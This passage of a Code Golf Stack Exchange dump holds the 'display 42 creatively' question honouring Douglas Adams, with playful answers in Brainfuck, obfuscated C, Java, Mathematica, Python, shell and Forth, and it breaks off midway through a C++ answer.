// In Mode A we do some animation!\n if ( \"A\".equals(mode) ) {\n for(int j = 0; j <= 50; j++) {\n BufferedImage stepImg = result.interpolateImage(0.02 * j);\n File oa = new File(String.format(\"anim/%s-%s-%02d.png\", a1, a2, j));\n ImageIO.write(stepImg, \"png\", oa);\n }\n }\n }\n}\n```\nCurrent running time is 20 to 30 seconds per above image pair, but there are plenty of tweaks to make it either go faster or maybe get a bit more quality out of it.\nSeems like my newbie reputations does not suffice for such many links/images, so here is a textual shortcut to my Google drives folder for image samples: \nThe samples I wanted to show first:\n[People -> Mona Lisa http://goo.gl/mGvq9h](http://goo.gl/mGvq9h)\nThe programm keeps track of all the point coordinates, but I feel exhausted now and do not plan to do animations for now. If I was to spend more time I might do a Hungarian algorithm myself or tweek the local optimization schedule of my programm.\n]"}}},{"rowIdx":10,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.\n \n \n[Douglas Adams](https://en.wikipedia.org/wiki/Douglas_Adams) was born on March 11, 1952, and died when he was just 49. In honor of this wonderful writer, I challenge you to display [42](https://en.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#The_number_42) in the most creative way possible.\nYou could print it in the log, via some convoluted method, or display it as ASCII art, or anything! Just come up with a creative method of displaying 42.\nBecause this a popularity-contest, whichever answer has the most upvotes by March 11, will be declared the winner. \n**Note:** this is not a duplicate. The question it was marked as duplicating was a code-trolling question whose goal was to write code to output 42, not find the most creative way to *display* it.\n## **Winner:** grovesNL! With an astounding 813 votes! Congrats!\n## Honorable Mentions:\n[Mr Lister](https://codegolf.stackexchange.com/a/21887/16874) **C** 228 For the clever use of #define\n[David Carraher](https://codegolf.stackexchange.com/a/21911/16874) **Mathematica** 45 For the complicated and convoluted math function to achieve 42\n[Aschratt](https://codegolf.stackexchange.com/a/22081/16874) **Windows Calculator** 20 Because, well, *it's windows calculator* And definitely 1337.\n[f.rodrigues](https://codegolf.stackexchange.com/a/22254/16874) **Python** 17 Because of the clever use of using external programs. And *MSPaint*\n[Jason C](https://codegolf.stackexchange.com/a/21944/16874) **LMGTFY** 14 For the use of LMGTFY (Let Me Google That For You)\n[Trimsty](https://codegolf.stackexchange.com/a/22417/16874) **Python** 12 For the clever use of an error message to output 42.\n[Mukul Kumar](https://codegolf.stackexchange.com/a/21895/16874) **C++** 7 For the nice ASCII output.\nIf you think that there is another answer worth putting on the list, please comment it! \n \n[Answer]\n# Double Brainfuck\n```\n +++++[>++[>+>+ ++>++++>++++>++++>++++++\n >++++++>+++++++ ++>+++++++++<<<<<<<<<-]>>\n >+>+>+> >>>+[<]< -]>> >++>-->>+>>++>+\n >--<<<< <<<..... .> ....<......\n ...>... <<.>.... >.>>>>>.<.\n <<<<.. ..<.... >..>>>>>.<\n .<<<<. >>>.<<. >>>>>.<.<\n <<<<< <.>...> >>>.>>>.\n <<<.< <<<..>> .>>>>>.<\n <.<<< <<...>> >>>.<<<\n <..<. ...>... <<.>..>.\n >>.<.<<...>>...<<...>>...< <....>>..\n .<<<.>.>>..>.<<.......<.... .....>...\n <<.>... .....>...\n <...... .>>>.<<..\n <<.>... .....>...<......>.>>.<.<<<\n .>...... ..>>...<<....>>.....>.<..>.\n```\nwhich outputs...\n```\n ++++ +++\n +[>++++ ++[>+<-][\n <]< -]> >++ +++\n +.- --- --- ---\n --.+++++++ +++\n +++ .++\n +++ +.-\n --- -----.--.\n```\nwhich outputs...\n```\n6*7=42\n```\n[Answer]\n# C\nHere's an oldie but goodie...\n```\n#include \n#define six 1+5\n#define nine 8+1\nint main()\n{\n printf(\"what do you get when you multiply six by nine?\\n\");\n printf(\"%i x %i = %i\\n\", six, nine, six*nine);\n}\n```\nThis program contains 42 different ASCII characters.\n[Answer]\n## Brainfuck\nTook a while to get there, but I like the result:\n```\n +++++ +++[>+>++>\n +++>++ ++>+++++>+++++\n +>+++++ ++>+ ++++\n +++ >+++ ++++ ++>+\n +++ ++++ ++>+\n +++ ++++ +++>\n +++ ++++ ++++\n +>+ ++++ ++++\n +++ +>++ ++++\n++++++++>+++++++++ ++++\n++>+++++++++++++++ +<<<\n <<<< <<<<\n <<<< <-]>\n >>>> >>----.++++<<<<<\n <<>> >>>>++.--<<<<<<.\n```\nWhen run, it will print 42, of course.\n[Answer]\n# JavaScript:\n```\nvar ________ = 0.023809523809523808, ____ = 1, ___ = 0, __ = 0, _ = 1;\n __ - ___\n /_ |0 // \\\\\n /_/ 0 // \\\\\n /_/_ |0 //\n /_/_ |0 //\n /_/____ |_ //\n/________|0 //\n |0 //______________\n```\nThe output is:\n> \n> **42**\n> \n> \n> \n*Not bad, eh?* :)\n***For the people who don't understand, it actually evaluates the following:***\n> \n> \n> ```\n> __ - ___ / _ | 0 / _ / 0 / _ / _ | 0 / _ / _ | 0 / _ / ____ | _ / ________ | 0 | 0\n> ```\n> \n> \n> \n> \n[Answer]\n# C, Twelve Days of Xmas Style\nNew version:\n```\nmain(Z,_){Z?(_=Z[\" $X,X3Y>3)[\"kt\"\n\"wy~|tE/42\"]-37),(_&7)?main(0,_-1):0);}\n```\nOutput:\n```\nFFFFF OOOOO RRRR TTTTT Y Y TTTTT W W OOOOO\nF O O R R T Y Y T W W O O\nFFFF O O RRRR T Y T W W W O O\nF O O R R T Y T WW WW O O\nF OOOOO R R T Y T W W OOOOO\n```\nBy the way, also check out my [text-to-speech](https://codegolf.stackexchange.com/a/22103/16504) answer.\n---\n**Original Version:**\n```\nmain(c,z,_){c==1?main(c+1,0,c^c):c==2?\nz=_[\"##$#%&#%#x'%%()&(%%x$%$((&(*%x'%\"\n\"%((&(+%x'#%((&(%#x\"],z?z=='x'?main(4,\n_,c*5):main(c+1,z,0),main(c,z,_+1):0:c\n==3?(_-2)==3?main(_-1,_,32):(main(c+1,\nc,((2+c)*(z-35)+_)[\"six*nine= { } \"\n\" ; _ ( ) [ 3 ]do {;=0xDA\"]==\n32?32:043),main(c,z,_+1)):putchar(_);}\n```\nThe output is:\n```\n##### ##### #### ##### # # ##### # # #####\n# # # # # # # # # # # # #\n#### # # #### # # # # # # # #\n# # # # # # # # ## ## # #\n# ##### # # # # # # # #####\n```\nAlternate spacing, if you're feeling tacky:\n```\n main(c ,z,_){c==01?\n main(c+ 1,0,c^c):c==2\n ?z=_[\"#\" \"#$#%&#%#x'%%\"\n \"()&(%%x\" \"$%$(\"\n \"(&(\"\"*%x\" \"'%%(\"\n \"(&(\" \"+%x\" \"'#%(\"\n \"(&(\" \"%#x\" ],z ?z\n =='x'?main(4,_ ,c*5):main(c\n +1,z,0),main(c ,z,_+1):00:c\n ==3?(_+-2)==3? main(_-1,_,\n 32):( main(\n c+1,c ,((2+\n c)*(z -35)+\n _)[\"\" \"six\"\n \"*ni\" \"ne= { } \"\n \" ;\" \" _ ( \"\n \") [\" \" 3 ]do {;\"]==\n 32?32 :043),main(c,z\n ,_+1) ):putchar(_);}\n```\nThe program is a single recursive statement. I made it in the style of my favorite obfuscated C program ever, [Twelve Days of Christmas](http://www.cise.ufl.edu/~manuel/obfuscate/xmas.c) (compile, prepare mind to be blown, run).\n---\n## HOW TO\nAlso, since this seems as good a place as any, here is a guide describing how to make this type of program. *This guide uses the original version above as an example.* Aside from the first bit with the block letters, they are general steps:\n**INITIAL:** First, I started by making the block letters:\n```\n##### ##### #### ##### # # ##### # # #####\n# # # # # # # # # # # # #\n#### # # #### # # # # # # # #\n# # # # # # # # ## ## # #\n# ##### # # # # # # # #####\n```\nI then made a numbered list of the unique patterns in each 5-column character row:\n```\n0: ***** \n1: **** \n2: * * \n3: \n4: * \n5: * \n6: * * \n7: * * * \n8: ** ** \n```\nAnd so each of the 5 pixel rows of text becomes a series of 9 numbers:\n```\n00000 00000 11111 00000 22222 33333 00000 22222 00000\n44444 22222 22222 55555 66666 33333 55555 22222 22222\n11111 22222 11111 55555 55555 33333 55555 77777 22222\n44444 22222 22222 55555 55555 33333 55555 88888 22222\n44444 00000 22222 55555 55555 33333 55555 22222 00000\n```\nFor obfuscation (and ease of programming) we add the '#' character to the numbers. In the program below, `patterns` is the array of pixel patterns, and `lines` is the obfuscated array of pattern codes for each line, terminated by an 'x'. For further obfuscation we define \"on\" pixels in `patterns` to be any character that isn't a space; this lets us put more misleading text in `pattern`:\n```\n#include \nchar pattern[] = \n \"six*n\"\n \"ine= \"\n \"{ }\"\n \" \"\n \"; \"\n \" _ \"\n \" ( ) \"\n \"[ 3 ]\"\n \"do {;\";\nchar lines[] =\n \"##$#%&#%#x\"\n \"'%%()&(%%x\"\n \"$%$((&(*%x\"\n \"'%%((&(+%x\"\n \"'#%((&(%#x\";\nvoid printpattern (char c) {\n int n;\n for (n = 0; n < 5; ++ n)\n putchar(pattern[5*(c-'#') + n]==32?32:'#');\n putchar(' ');\n}\nint main () {\n char *ptr = lines;\n while (*ptr) {\n while (*ptr != 'x')\n printpattern(*(ptr++));\n putchar('\\n');\n ++ ptr;\n }\n}\n```\n**STEP 1:** The next step involves a few tasks:\n* Remove all loops and use recursion.\n* Change all functions (except main) to the form `int function (int, int)` and use the same parameter names for each. The reasons will become clear later.\n* Change `main` to the form `int main (int, int, int)` and name the last two parameters the same as your function parameter names.\n* Replace all references to string constants with the strings themselves; and use each string only once if possible.\n* The include can be removed; it's unnecessary for `int putchar (int)`.\nWe can also take advantage of the weird C feature where `a[b]` is equivalent to `b[a]` to obfuscate further.\n```\nint printpattern (int z, int _) {\n if (_==5)\n putchar(' ');\n else{\n putchar((5*(z-'#') + _)[\"six*nine= { } ; _ ( ) [ 3 ]do {;\"]==32?32:'#');\n printpattern(z, _+1);\n }\n return 0;\n}\n// z ignored, _ is index\nint printtext (int z, int _) {\n z = _[\"##$#%&#%#x'%%()&(%%x$%$((&(*%x'%%((&(+%x'#%((&(%#x\"];\n if (z) {\n if (z == 'x')\n putchar('\\n');\n else\n printpattern(z, 0);\n printtext(z, _ + 1); // first parameter arbitrary\n }\n return 0;\n}\nint main (int c, int z, int _) {\n printtext(0, 0);\n}\n```\n**STEP 2:** Next, make use of the `?:` and `,` operators to transform each function into a single `return` statement. I'm illustrating this separately from the above because this is where things start getting confusing to look at. Remember that `putchar()` returns an `int`, and `?:` takes precedence over `,`:\n```\nint printpattern (int z, int _) {\n return _==5 ?\n putchar(' ')\n :\n (putchar((5*(z-'#') + _)[\"six*nine= { } ; _ ( ) [ 3 ]do {;\"]==32?32:'#'),\n printpattern(z, _+1));\n}\n// z ignored, _ is index\nint printtext (int z, int _) {\n return\n z = _[\"##$#%&#%#x'%%()&(%%x$%$((&(*%x'%%((&(+%x'#%((&(%#x\"],\n z ?\n z == 'x' ?\n putchar('\\n')\n :\n printpattern(z, 0)\n ,\n printtext(z, _ + 1)\n :\n 0;\n}\nint main (int c, int z, int _) {\n printtext(0, 0);\n}\n```\n**STEP 3:** Ok. The next step is a big one. All of the functions are now a single statement of the same form. We can now combine them all into a single function, identifying each one by a number -- essentially turning the entire program into a single recursive function. Note that the first parameter to `main` will be 1 when the program is run with no arguments, so that should be our initial state. \nAlso, since our parameter `c` to `main` is our state variable, we know its value at all times, and we can obfuscate a little further by replacing integer constants with their values in terms of `c` (for example, when we know `c` is 2, we can replace 5 with `c+3`). Other little obfuscations can be done too (e.g. I replaced `'#'` with `35` and `043`):\n```\nint main (int c, int z, int _) {\n switch (c) {\n case 1: // main\n return main(c+1, 0, c^c); // (2, 0, 0)\n case 2: // printtext\n return\n z = _[\"##$#%&#%#x'%%()&(%%x$%$((&(*%x'%%((&(+%x'#%((&(%#x\"],\n z ?\n z == 'x' ?\n putchar('\\n')\n :\n main(c+1, z, 0) // c+1==3\n ,\n main(c, z, _ + 1)\n :\n 0;\n case 3: // printpattern\n return (_-2)==3 ? // _==5\n putchar(' ')\n :\n (putchar(((2+c)*(z-35) + _)[\"six*nine= { } ; _ ( ) [ 3 ]do {;\"]==32?32:043),\n main(c, z, _+1));\n }\n}\n```\n**STEP 4:** Finally, remove the `switch` block by using a series of `?:` operators. We can also remove the `int` declarations, since C will use them by default, as well as the `return` itself (which will generate a warning at worst). After this, our program is a single, recursive function with one statement. Pretty cool, right?\nEdit: I replaced `putchar()` with a `main` and `c==4` below; because I just thought of it at the last minute:\n```\nmain (c, z, _) {\n c == 1 ?\n main(c+1, 0, c^c)\n : c == 2 ?\n z = _[\"##$#%&#%#x'%%()&(%%x$%$((&(*%x'%%((&(+%x'#%((&(%#x\"],\n z ?\n z == 'x' ?\n main(4,_,c*5)\n :\n main(c+1, z, 0) \n ,\n main(c, z, _ + 1)\n :\n 0\n : c==3 ?\n (_-2)==3 ? \n main(_-1,_,32)\n :\n (main(c+1,c,((2+c)*(z-35) + _)[\"six*nine= { } ; _ ( ) [ 3 ]do {;\"]==32?32:043),\n main(c, z, _+1))\n : // c==4\n putchar(_);\n}\n```\nIf you want to add a little flair, you can use more interesting numbers for `c` and even base the checks off of other numbers (e.g. for the `c==2` case, `z` is ignored and available, so instead of calling `main(2,z,_)` you could call `main(-97,_,_)` and replace `c==2` with `c<-z`). Be creative; the possibilities are endless.\n**FINISH:** The final step, then, is to arrange the text in some creative pattern, and voila! You can adjust the code a little to help with formatting (e.g. I added some extra data at the end of the `patterns` string in the posted program to help get the line length right). [The ladies are sure to be all up ons.](http://www.homestarrunner.com/sbemail122.html)\n[Answer]\nI'm feeling lazy.\n# Python\n```\nt\nh\ne\na\nn\ns\nw\ne\nr\nt\no\nl\ni\nf\ne\nt\nh\ne\nu\nn\ni\nv\ne\nr\ns\ne\na\nn\nd\ne\nv\ne\nr\ny\nt\nh\ni\nn\ng:\n```\nOutput:\n```\n File \"golf.py\", line 42\n g:\n ^\nSyntaxError: invalid syntax\n```\n[Answer]\n# Java\n**(or C++, the code's almost similar)** \nUsing String functions, so don't forget to include your library!\nP.S. I know it's lengthy, but it's supposed to be creative, right? And anyway, it isn't a \"lowest-byte-wins\".\n```\nString s = \"Hitchhiker's Guide to the Galaxy\";\nString s2 = \"Don'tPanic\";\nString s3 = \"The Restaurant at the End of the Universe.\";\nint arthur_dent = s.length();\nint ford_prefect = s2.length();\nint zooey_deschanel = s3.length();\nint vogon_poetry = arthur_dent + ford_prefect;\nSystem.out.println(\" \" + vogon_poetry + \" \" + zooey_deschanel + \" \" + zooey_deschanel); //in case you're confused, I'm using Zooey to print the big '2', and Vogons to print the big '4'.\nSystem.out.println(\" \" + vogon_poetry + vogon_poetry + \" \" + zooey_deschanel + \" \" + zooey_deschanel);\nSystem.out.println(\" \" + vogon_poetry + \" \" + vogon_poetry + \" \" + zooey_deschanel + \" \" + zooey_deschanel);\nSystem.out.println(\" \" + vogon_poetry + \" \" + vogon_poetry + \" \" + zooey_deschanel);\nSystem.out.println(\" \" + vogon_poetry + \" \" + vogon_poetry + \" \" + zooey_deschanel);\nSystem.out.println(vogon_poetry + \" \" + vogon_poetry + \" \" + vogon_poetry + \" DA \" + vogon_poetry + \" \" + zooey_deschanel);\nSystem.out.println(\" \" + vogon_poetry + \" \" + zooey_deschanel);\nSystem.out.println(\" \" + vogon_poetry + \" \" + zooey_deschanel + \" \" + zooey_deschanel + \" \" + zooey_deschanel + \" \" + zooey_deschanel);\n```\nHere's the output:\n```\n 42 42 42\n 4242 42 42\n 42 42 42 42\n 42 42 42\n 42 42 42\n42 42 42 DA 42 42\n 42 42\n 42 42 42 42 42 \n```\nImagine my misery when I counted and found out that \"The Restaurant at the End of the Universe\" had *41* characters! :/ Sigh.\n[Answer]\n# Mathematica\n## Take 1\nWith some work, I ought be able to golf this down a bit. :)\nIn `InputForm`:\n```\nanswer[ultimateQuestion[Life,theUniverse,Everything]] =\n Times[Plus[-1,Limit[Power[Plus[1,Times[Complex[0,1],\n Power[n,-1],Pi]],n],Rule[n,DirectedInfinity[1]]]],Sqrt[-1]^2,\n Times[Rational[1,2],Plus[-1,Fibonacci[4]],Fibonacci[2]],\n Binomial[3,2],LucasL[4]]\n```\nIn `TraditionalForm`:\n![forty two](https://i.stack.imgur.com/6PTyv.png)\nTesting:\n```\nanswer[ultimateQuestion[Life,theUniverse,Everything]] \n```\n> \n> 42\n> \n> \n> \n---\n## Take 2\nNote: The numerals were made as follows.\n* \"42\" was first printed on the screen in very large font, axes displayed, so that the coordinates of the key points could be identified.\n* Another \"4\" was drawn a broad straight lines connecting the respective key points. It was superimposed on the previously drawn \"4\" to check for accuracy. The \"2\" was drawn as a BSpline curve. Some of the key points, which were now control points, had to be set in position by trial and error to get the desired curves.\n* An third coordinate (always zero) was added to the line and BSplineCurve to enable 3D display.\n---\n```\nanswer[ultimateQuestion[Life,theUniverse,Everything]] = \n Table[With[{v = RotationTransform[θ, {0, 0, 1}][{3, 0, -.2}]},\n Graphics3D[{Thickness[.06], CapForm[\"Round\"],\n Tube[Line[{{-67, 0, -44}, {-30, 0, -44}}], 10],\n Tube[\n Line[{{-25, 0, -12}, {-100, 0, -12}, {-52, 0, 70}, {-45, 0, 70}, {-45, 0, -43}}], 10], \n Tube[BSplineCurve[l = {{27, 0, 52}, {27, 0, 57}, {57, 0, 85}, {113, 0, 40}, \n {12, 0, -45}, {35, 0, -45}, {90, 0, -45}, {90, 0, -45}, {92, 0, -35}}], 10]},\n Boxed -> False, PlotRange -> 100, ImageSize -> 250, SphericalRegion -> True, \n ViewPoint :> v, \n PlotRangePadding -> 10]],(*{θ,0,2Pi,Pi/24},*){θ, -Pi/2, -Pi/2 + 2 Pi, Pi/24}]\nExport[\"theMeaningOfLife.gif\", answer[ultimateQuestion[Life,theUniverse,Everything]] ]\n```\n![take 2](https://i.stack.imgur.com/u8Iot.gif)\n[Answer]\nSeems appropriate:\n```\ngrep -i \"DON'T\" /bin/lesspipe | wc -l ; grep -i \"PANIC\" /usr/share/pyshared/mx/Log.py | head -n 1 | cut -d '=' -f 2 | tr -d ' '\n```\nOutput: \n```\n4\n2\n```\nUbuntu 12.04, 64-bit Desktop\n[Answer]\n## Windows calculator\nMultiplying **Pi** with **13.37** and ignoring the decimal `:P`\n![Forty-Two](https://i.stack.imgur.com/kJLLe.png)\n[Answer]\n# Python\nI guess it only works on Windows 7.\n```\nimport win32api, win32con, win32gui\nfrom time import time, sleep\nimport os\nw = { 1:[(358, 263), (358, 262), (358, 261), (359, 261), (359, 262), (359, 264), (359, 266), (359, 270), (359, 282),\n (358, 289), (357, 308), (356, 319), (355, 341), (355, 351), (355, 360), (355, 378), (355, 388), (354, 397),\n (354, 406), (354, 422), (354, 428), (354, 436), (354, 438), (354, 439), (354, 440), (355, 440), (356, 439),\n (357, 439), (358, 438), (360, 438), (362, 437), (369, 437), (372, 437), (381, 437), (386, 437), (391, 437),\n (397, 436), (411, 436), (419, 435), (434, 435), (442, 435), (449, 434), (456, 434), (468, 434), (473, 435),\n (480, 436), (483, 436), (485, 436), (487, 437), (488, 437), (488, 438), (488, 439), (487, 440), (486, 440),\n (485, 440), (484, 440), (483, 439), (483, 437), (481, 431), (481, 427), (481, 420), (481, 413), (483, 396),\n (485, 387), (488, 367), (491, 356), (493, 345), (500, 321), (503, 310), (507, 299), (514, 280), (517, 272),\n (520, 266), (523, 260), (524, 258), (524, 259), (524, 261), (524, 265), (524, 269), (523, 275), (522, 289),\n (521, 297), (518, 315), (516, 324), (515, 334), (513, 345), (509, 368), (507, 382), (502, 411), (500, 426),\n (498, 440), (495, 453), (491, 478), (489, 491), (485, 517), (483, 530), (481, 542), (479, 552), (476, 570),\n (475, 577), (474, 588), (473, 592), (473, 595), (473, 597), (473, 600), (473, 601), (473, 602), (473, 601),\n (474, 599), (475, 597), (476, 594), (478, 587)],\n 2:[(632, 305), (634, 306), (636, 309), (639, 314), (641, 319), (645, 330), (647, 337), (649, 353), (649, 362),\n (649, 372), (649, 384), (645, 409), (639, 436), (636, 448), (632, 459), (627, 470), (623, 479), (613, 497),\n (608, 503), (599, 512), (595, 514), (591, 514), (587, 513), (581, 504), (578, 498), (576, 483), (575, 476),\n (575, 469), (579, 454), (582, 447), (591, 436), (595, 432), (600, 430), (605, 429), (617, 432), (624, 437),\n (639, 448), (646, 455), (654, 461), (662, 469), (679, 484), (686, 491), (702, 504), (710, 509), (718, 512),\n (727, 514), (744, 515), (752, 515), (767, 512), (774, 510), (779, 508), (783, 505), (788, 499), (789, 495),\n (789, 486)] }\ndef d( x1, y1, x2, y2 ):\n win32api.SetCursorPos((x1, y1))\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)\n win32api.SetCursorPos((x2, y2))\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)\n sleep(0.01)\ndef p( l1 ):\n l2 = [\"\"]\n l2.extend(l1)\n l1.append(\"\")\n l3 = zip(l2, l1)\n l3.pop(0)\n l3.pop(-1)\n for n in l3:\n d(n[0][0], n[0][1], n[1][0], n[1][1])\nos.startfile(\"C:\\Windows\\system32\\mspaint.exe\")\nsleep(0.5)\nwin32gui.ShowWindow(win32gui.GetForegroundWindow(), win32con.SW_MAXIMIZE)\nsleep(0.5)\nfor n in w:\n p(w[n])\n```\nThe result is opening [Paint](http://en.wikipedia.org/wiki/Paint_%28software%29) and painting 42 as free hand.\n![42](https://i.stack.imgur.com/1j0va.png)\n[Answer]\n## Java (Swing)\nThis will display a frame drawing **the answer**. It only uses `42` for values.\n```\npublic class FourtyTwo{ public\nstatic void main(String[]args)\n{ new javax .swing.\nJFrame () {{ setSize\n(42 /( 42/42 +42/42)\n*42/ ( 42/42 +42/42)\n,42/(42/ 42+42/42)* 42/(42/42+42/42));\n}public void paint( java.awt .Graphics\n g){g.drawPolygon( new int[]{42,42,42\n + 42+ 42,42+\n 42+42 ,42+42\n +42 + 42,42+\n 42+42 +42,42\n + 42+ 42,42+42+42,42+42,\n 42+42 },new int[]{42,42+\n 42+42 +42,42+42+42+42,42\n+42+42+42+42+42, 42+42+\n42+42+42+42,42,42, 42+42+42\n,42 + 42+42 ,42}, (42/\n42+42 /42)* (42/ 42 +\n42/42 + 42/ 42 + 42 /\n42+42 /42)) ;g.drawPolygon\n( new int[] {42+42+42+42+42,\n42+42 +42 + 42+42 , 42+\n42+42 + 42+ 42+42 + 42,\n42+42 +42 + 42+42 +42 +\n42,42+42+42+42+42, 42+42 + 42+\n42+42,42+ 42+42+ 42+42 +42 +\n42+42,42+42+42+42+42+42+42+42,42+42+42+42+42+42,\n42+42+42+42+42+42,42+42+42+42+42+42+42+42,42+42+\n42+42+42+42+42+42},new int[]{42,42 +42,42+42,42+\n42+42,42+42+42,42+42+42+42+42+42,42+42+42+42+42+\n42,42+42+42+42+42,42+42+42+42+42,42+42+42+42,42+\n42+42+42,42},(42/42+42/42+42/42)*((42/42+42/42)*\n(42/42+42/ 42)));};}.setVisible(42*42*42!=42);}}\n```\n[Answer]\n### Mathematica\n```\nWolframAlpha[\"meaning of life\", {{\"Result\", 1}, \"Content\"}]\n```\n> \n> 42\n> \n> \n> \nthough I think it's cheating, really, since it's hard-coded. And not very creative, on my part... :)\n[Answer]\n## Ruby\nIt is well known what you get [if you multiply six by nine](https://en.wikipedia.org/w/index.php?title=Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy&oldid=596276371#Answer_to_the_Ultimate_Question_of_Life.2C_the_Universe.2C_and_Everything_.2842.29). This gives one solution:\n```\nputs (6 * 9).to_s(13)\n```\n---\n## Python\nA variant of [Tupper's self-referential formula](https://en.wikipedia.org/wiki/Tupper%27s_self-referential_formula):\n```\n# Based loosely on http://www.pypedia.com/index.php/Tupper_self_referential_formula\nk = 17 * (\n (2**17)**0 * 0b11100000000000000 +\n (2**17)**1 * 0b00100000000000000 +\n (2**17)**2 * 0b00100000000000000 +\n (2**17)**3 * 0b11111000000000000 +\n (2**17)**4 * 0b00100000000000000 +\n (2**17)**5 * 0b00000000000000000 +\n (2**17)**6 * 0b01001000000000000 +\n (2**17)**7 * 0b10011000000000000 +\n (2**17)**8 * 0b10011000000000000 +\n (2**17)**9 * 0b01101000000000000 +\n0)\n# or if you prefer, k=int('4j6h0e8x4fl0deshova5fsap4gq0glw0lc',36)\ndef f(x,y):\n return y // 17 // 2**(x * 17 + y % 17) % 2 > 0.5\nfor y in range(k + 16, k + 11, -1):\n print(\"\".join(\" @\"[f(x, y)] for x in range(10)))\n```\nOutput:\n```\n@ @ @@ \n@ @ @ @\n@@@@@ @\n @ @@ \n @ @@@@\n```\n[Answer]\n**Javascript**\n```\nalert((!![]+ -~[])*(!![]+ -~[])+\"\"+(!![]+ -~[]))\n```\n[Answer]\n# LMGTFY\n\nShort enough that I had to type this to reach the minimum character count...\n[Answer]\nForth:\n```\nSCR # 1\n 0 ( FORTY-TWO @ ES-FORTH )\n 1 HEX 0 24 -31 21 -31 31 -31\n 2 31 -14 51 11 -11 51 11 -11 23 31\n 3 : T SWAP 0 DO DUP EMIT LOOP DROP ;\n 4 : K BEGIN DUP WHILE DUP 0< IF CR\n 5 ABS THEN 10 /MOD 20 T A0 T\n 6 REPEAT DROP ;\n 7 K CR\n```\nThat 1 LOAD outputs:\n```\n █ ███\n █ █ █\n █ █ █\n ████ █\n █ █\n █ █\n █ ████\n```\n[Answer]\n# C++\n```\ncout<<\"....-\"<<\" \"<<\"..---\";\n```\nMorse code ;)\n[Answer]\n# R\n```\nsum(as.numeric(factor(unlist(strsplit(gsub(\" |[.]\",\"\",\"D. ADAMS\"),\"\")),levels=LETTERS)))\n```\nResult:\n```\n42\n```\n[Answer]\n**Java**\n```\npublic class MainProgram { \n public static void main(String[] args) {\n int[] the = { 'T', 'h', 'e' };\n int[] most = { 'M', 'o', 's', 't' };\n int[] creative = { 'C', 'r', 'e', 'a', 't', 'i', 'v', 'e' };\n int[] way = { 'W', 'a', 'y' };\n int question = '?';\n double x = -3.18906605923E-2;\n int The = 0;\n int Most = 0;\n int Creative = 0;\n int Way = 0;\n for(int i : the) {\n The += i;\n }\n for(int i : most) {\n Most += i;\n }\n for(int i : creative) {\n Creative += i;\n }\n for(int i : way) {\n Way += i;\n }\n System.out.println((int)((The*x)-(Most*x)-(Creative*x)-(Way*x)-(question*x))); \n }//SSCE\n}//good1\n```\nOutput: \n> \n> 42\n> \n> \n> \n[Answer]\nSWI-Prolog, anyone?\n```\n?- X.\n```\nOutput:\n```\n% ... 1,000,000 ............ 10,000,000 years later\n% \n% >> 42 << (last release gives the question)\n```\nThis is even lazier than the Mathematica-calling-Wolfram-Alpha one, but hey!\n[Answer]\n# Linux shell\nHere’s something I wrote in 1999 and used as my Usenet signature back then.\n```\necho \"what is the universe\"|tr \"a-z \" 0-7-0-729|sed 's/9.//g;s/-/+/'|bc\n```\n**Edit:** Ha! This was the 42nd answer.\n[Answer]\n**PHP version:**\n```\n echo strlen(\"Douglas Adams\")+strlen(\"born on\")+array_sum(array(1,1,0,3,1,9,5,2));\n /* array(1,1,0,3,1,9,5,2) => March 11, 1952 */\n```\n**JavaScript version:**\n```\n console.log(\"Douglas Adams\".length + \"born on\".length + [1,1,0,3,1,9,5,2].reduce(function(previousValue, currentValue, index, array){return previousValue + currentValue;}));\n /* [1,1,0,3,1,9,5,2] => March 11, 1952 */\n```\n**Output:**\n```\n 42\n```\n[Answer]\n# dc\n```\n$ dc <<< \"1 8 sc 1 5 lc *++p\"\n42\n```\nTrying to multiply `1+8` and `5+1` to get `42`. It looks like that ignorance of operator precedence led to `42`.\n---\n# Python\n```\n>>> p = lambda x: x%2!=0 and True<>> sum(p(i) for i in range(0,6))\n```\nOutput: `42`\n---\n[Answer]\n## Brainf\\*\\*k\n```\n- [ --\n- - -\n>+<] >+\n . --.\n```\n[Answer]\n# C++\n```\n#include\n#include\nusing namespace std;\nint main()\n{\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)66<<(char)73<<(char)82;\n cout<<(char)84<<(char)72<<(char)32;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)68<<(char)69;\n cout<<(char)65<<(char)84<<(char)72;\n cout<<(char)32<<(char)32<<'\\n';\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)32<<(char)95;\n cout<<(char)95<<(char)95<<(char)32;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)95<<(char)95;\n cout<<(char)95<<(char)95<<(char)95;\n cout<<(char)95<<(char)32<<'\\n';\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)47<<(char)32;\n cout<<(char)32<<(char)32<<(char)124;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)124<<(char)32<<(char)32;\n cout<<(char)95<<(char)95<<(char)32;\n cout<<(char)32<<(char)124<<'\\n';\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)47<<(char)32<<(char)47;\n cout<<(char)124<<(char)32<<(char)124;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)124<<(char)95<<(char)124;\n cout<<(char)32<<(char)32<<(char)124;\n cout<<(char)32<<(char)124<<'\\n';\n cout<<(char)32<<(char)32<<(char)47;\n cout<<(char)32<<(char)47<<(char)32;\n cout<<(char)124<<(char)49<<(char)124;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)32<<(char)47;\n cout<<(char)50<<(char)124<<'\\n';\n cout<<(char)32<<(char)47<<(char)32;\n cout<<(char)47<<(char)32<<(char)32;\n cout<<(char)124<<(char)57<<(char)124;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)84<<(char)79<<(char)32;\n cout<<(char)32<<(char)47<<(char)48;\n cout<<(char)47<<(char)32<<'\\n';\n cout<<(char)47<<(char)32<<(char)47;\n cout<<(char)95<<(char)95<<(char)95;\n 